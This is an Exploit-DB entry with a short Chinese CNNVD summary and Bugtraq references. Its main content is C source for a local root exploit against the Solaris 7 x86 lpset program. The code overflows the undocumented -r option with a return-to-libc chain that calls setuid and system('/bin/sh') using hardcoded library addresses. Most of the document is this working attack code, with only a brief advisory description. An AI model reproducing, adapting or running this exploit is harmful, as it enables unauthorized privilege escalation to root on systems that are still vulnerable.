https://www.exploit-db.com/exploits/19874
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200004-068

Solaris7lpset存在缓冲区溢出漏洞，本地用户可以通过超长-r选项获得根用户权限。

/*
source: http://www.securityfocus.com/bid/1138/info
  
A vulnerability exists in the handling of the -r option to the lpset program, as included in Solaris 7 from Sun Microsystems. The -r option is undocumented. As such, its use in unknown. However, when supplied a well crafted buffer containing executable code, it is possible to execute arbitrary commands as root.
*/

#define BASE 0xdff40000
#define STACK 0x8047e30
#define BUFSIZE 36     

#define SYSTEM (BASE + 0x5b328)
#define SCANF  (BASE + 0x5ae80)
#define SETUID (BASE + 0x30873)
#define PERCD  (BASE + 0x83754)
#define BINSH  (BASE + 0x83654)
#define POP3   (SYSTEM + 610)  
#define POP2   (SYSTEM + 611)  
#define POP1   (SYSTEM + 612)  

int
main()
{     
    unsigned char expbuf[1024];
    char *env[1]; 
    int *p, i;    
    
    memset(expbuf, 'a', BUFSIZE);
    p = (int *)(expbuf + BUFSIZE);
    
    *p++ = STACK;
    *p++ = SCANF + 1;
    *p++ = STACK + 6 * 4;
    *p++ = POP2; 
    *p++ = PERCD;
    *p++ = STACK + 9 * 4;
    
    *p++ = STACK + 10 * 4;
    *p++ = SETUID; 
    *p++ = POP1;   
    *p++ = 0x33333333;
    *p++ = STACK + 15 * 4;
    
    *p++ = SYSTEM;
    *p++ = 0x33333333;
    *p++ = BINSH;     
    *p = 0;
    
    env[0] = 0;
    execle("/bin/lpset", "/bin/lpset", "-n", "fns", "-r", expbuf, "123", 0,
           env);       
    return 0;
}

来源:BID
名称:1138
链接:http://www.securityfocus.com/bid/1138
来源:BUGTRAQ
名称:20000424Solaris7x86lpsetexploit.
链接:http://archives.neohapsis.com/archives/bugtraq/2000-04/0236.html
来源:BUGTRAQ
名称:20000424Solaris7x86lpsetexploit.
链接:http://archives.neohapsis.com/archives/bugtraq/2000-04/0192.html
来源:BUGTRAQ
名称:20000427Re:Solaris/SPARC2.7lpsetexploit(wellnotlikely!)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=95729763119559&w;=2